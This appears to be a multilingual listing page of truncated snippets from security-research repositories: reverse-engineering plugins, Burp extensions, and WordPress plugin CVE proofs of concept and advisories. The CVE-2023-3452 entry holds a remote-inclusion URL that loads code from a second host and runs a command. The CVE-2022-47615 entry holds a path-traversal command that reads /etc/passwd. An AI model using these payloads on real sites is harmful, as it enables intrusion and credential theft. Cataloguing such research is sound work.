zap-hud

ZAP 헤즈업 디스플레이 HUD는 더 이상 활발히 개발되지 않습니다 안타깝게도 HUD는 더 이상 활발히 개발되지 않습니다. 아무도 이에 집중하지 않기 때문입니다. HUD는 독특하고 혁신적인 인터페이스로, 일부 사람들이 좋아한다는 것을 알고 있습니다. 그러나 상당한 유지보수가 필요하며 현재 이를 유지할 충분한 자원봉사자가 없습니다. 참여를 원하시면 ZAP HUD 그룹을 통해 연락해 주세요. HUD를 계속 유지하기 위해 실제로 Java 경험이 있는 사람은 필요하지 않습니다. 그 부분은 이미 충당되어 있습니다. 좋은 JavaScri...

quiver

Quiver : A Meta-Tool for Kali Linux Quiver is an organized namespace of shell functions that pre-fill commands in your terminal so that you can ditch your reliance on notes, copying, pasting, editing, copying and pasting again. Quiver helps you remember how to use every tool in your arsenal and...

quiver

Quiver: Kali Linux를 위한 메타 도구 Quiver는 조직화된 셸 함수 네임스페이스로, 터미널에서 명령어를 미리 채워넣어 메모, 복사, 붙여넣기, 수정, 다시 복사/붙여넣기에 의존하지 않도록 도와줍니다. Quiver는 여러분이 가진 모든 도구를 사용하는 방법을 기억하게 해주며, 유지보수나 업데이트가 번거로운 스크립팅 뒤에 숨기지 않습니다. 대신 Quiver를 사용하여 모든 상황에 맞게 구성 가능하고 즉석에서 조합할 수 있는 워크플로우를 구축할 수 있습니다. Quiver는 모든 도구를 다루지는 않으며, 제가 계속...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami...

Gepetto

Gepetto Gepetto is a Python plugin which uses various large language models to provide meaning to functions decompiled by IDA Pro ≥ 7.6. It can leverage them to explain what a function does, and to automatically rename its variables. Here is a simple example of what results it can provide in mere...

WordPress Dynamic User Directory plugin <= 2.4 - SQL Injection vulnerability

SQL Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Dynamic User Directory versions = 2.4...

WordPress affiliate-toolkit plugin <= 3.9.1 - SQL Injection vulnerability

SQL Injection vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin affiliate-toolkit versions = 3.9.1...

efiXplorer

efiXplorer - IDA 플러그인 및 UEFI 펌웨어 분석 및 리버스 엔지니어링 자동화를 위한 로더 문서 플러그인 위키 로더 위키 빌드 지침 및 설치 출판물 efiXplorer: Hunting for UEFI Firmware Vulnerabilities at Scale with Automated Static Analysis Static analysis-based recovery of service function calls in UEFI firmware How efiXplorer helping to solve...

dragondance

Dragon Dance 무엇인가요? Dragon Dance는 Ghidra 플러그인으로, 바이너리 코드 커버리지 데이터를 시각화하고 조작할 수 있게 해줍니다. 여러 커버리지 소스에서 커버리지 데이터를 가져올 수 있습니다. 현재 플러그인은 Dynamorio와 Intel Pin 바이너리 계측 도구를 지원합니다. Dynamorio는 "drcov"라는 자체 커버리지 수집 모듈을 가지고 있습니다. Intel Pin은 내장 커버리지 수집 모듈을 제공하지 않습니다. 이 부재 상황을 처리하기 위해 Intel Pin용 자체 커버리지 수집 모듈을...

bradamsa

Bradamsa Bradamsa is a Burp Suite extension for Radamsa, a well-known fuzzer made by the Oulu University Secure Programming Group. Inspired by burp-radamsa, this plugin allows to generate Intruder payloads using Radamsa. Download the latest release from HERE. Mix Burp Suite + Radamsa and you get...

r2ai

R2AI - radare2向けLLMによる拡張リバースエンジニアリング ╭─────────────────────────────────╮ │ , . . , │ ╭──╮ │ : \ \ |: \ : | │ │ │ │ | |/ || , || : | │ │ O O r2ai -q explain: Explain the current function - devices: Find and explain devices used - libs: Group imports by Libraries - varnames: Better variable names -...

GhidrAssist

GhidrAssist 저자: Jason Tang 고급 LLM 기반 플러그인으로, Ghidra 내 인터랙티브 리버스 엔지니어링 지원을 제공합니다. 설명 GhidrAssist는 대규모 언어 모델LLM을 Ghidra에 통합하여 바이너리 탐색 및 리버스 엔지니어링을 위한 지능형 지원을 제공합니다. 로컬 모델Ollama, LM-Studio, Open-WebUI과 클라우드 제공자OpenAI, Anthropic, Azure를 포함한 모든 OpenAI v1 호환 API를 지원합니다. 주요 기능 핵심 기능: 코드 설명 - 디스어셈블리 및...

CVE-2024-6386

CVE-2024-6386 - WPML의 Twig SSTI를 통한 RCE PoC Python+Selenium 기반 PoC 러시아어로 된 상세 연구: CVE-2024-6386 CVSS 기본 점수: 9.9 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 요약 WPML에서는 특정 WordPress Shortcodes를 사용하여 매크로를 만들고 Twig 템플릿도 렌더링할 수 있습니다. 따라서 쉽게 SSTI를 얻을 수 있습니다. 체인 SSTI 예를 들어, SSTI를 익스플로잇하기 위한 단축 코드를...

exploit_cve-2023-26326_using_cve-2024-2961

Iconv CVE-2024-2961 を使用した BuddyForms CVE-2023-26326 のエクスプロイト この作業は、私 Omar Elshopky と Nour El Dien Bassiouny によって行われました。 このリポジトリには、WordPress BuddyForms プラグイン CVE-2023-26326 のエクスプロイトが含まれています。この脆弱性は、Joshua Martinelle によるアドバイザリで最初に報告されました。このエクスプロイトは、Iconv、文字セットを RCE に設定: glibc を悪用して PHP...

VivisectION

VivisectION エミュレーション駆動リバーシングツールセット VivisectION は、GUI リバーシング、エミュレーション、デバッギングの交差点であり、エミュレーションやその他の強力な Vivisect ツールを活用して、リバースエンジニアリングと脆弱性調査を支援することに重点を置いています。 とりわけ、VivisectION（別名 Ion）は Vivisect 拡張機能（またはプラグイン）です。 このプラグインは主に、GUI が関数のエミュレータを簡単にセットアップできるようにします（関数アドレスを右クリック）。 インストール: Vivisect...

CVE-2024-6460

CVE--2024-6460 Grow by Tradedoubler 2.0.22 未満 - 認証なし LFI 使用法 ausage: CVE-2024-6460.py -h -u URL -U USERNAME -P PASSWORD -c COMPONENT Grow by Tradedoubler 2.0.22 - Unauthenticated LFI options: -h, --help show this help message and exit -u URL, --url URL Target WordPress site URL e.g.,...

CVE-2024-3495-POC

CVE-2024-3495-POC Country State City Dropdown CF7 WordPress 플러그인2.7.2 이하 버전은 'cnt' 및 'sid' 매개변수를 통한 SQL 인젝션에 취약합니다. SQL 쿼리의 불충분한 이스케이프 처리와 준비 부족으로 인해 인증되지 않은 공격자가 쿼리를 추가하여 잠재적으로 민감한 데이터베이스 정보를 추출할 수 있습니다...

nuclei-burp-plugin

Nuclei 템플릿 생성기 Burp 플러그인 Burp Suite 플러그인으로 nuclei 템플릿 생성을 돕기 위한 것입니다. 기능 템플릿 매처 생성 Proxy 기록 또는 Repeater 컨텍스트에서 선택한 응답 스니펫을 사용하여 Word 및 Binary 매처 생성 여러 줄 선택은 가독성을 위해 별도의 단어로 분할 ASCII 문자가 아닌 문자를 포함하는 선택 항목에 대해 Binary 매처 생성 part 필드는 선택 항목이 요청 헤더에 있는지 본문에 있는지에 따라 자동 설정 생성된 모든 템플릿은 응답의 HTTP 상태 코드를 사용하...

CVE-2022-47615

CVE-2022-47615 LearnPress プラグイン 4.2.0 - 認証なし LFI 脆弱性の説明 説明 このプラグインは、lp/v1/courses/archive-course REST エンドポイントで様々なパラメータを適切に検証せずに include 文で使用しているため、LFI 問題が発生する可能性があります。 使用方法 $ python3 exploit.py -u http://wordpress.lan -f ../../../etc/passwd root:x:0:0:root:/root:/bin/bash...

WordPress Media LIbrary Assistant plugin <= 3.41 - Cross Site Scripting (XSS) vulnerability

Cross Site Scripting XSS vulnerability discovered by yzx001 in WordPress Plugin Media LIbrary Assistant versions = 3.41...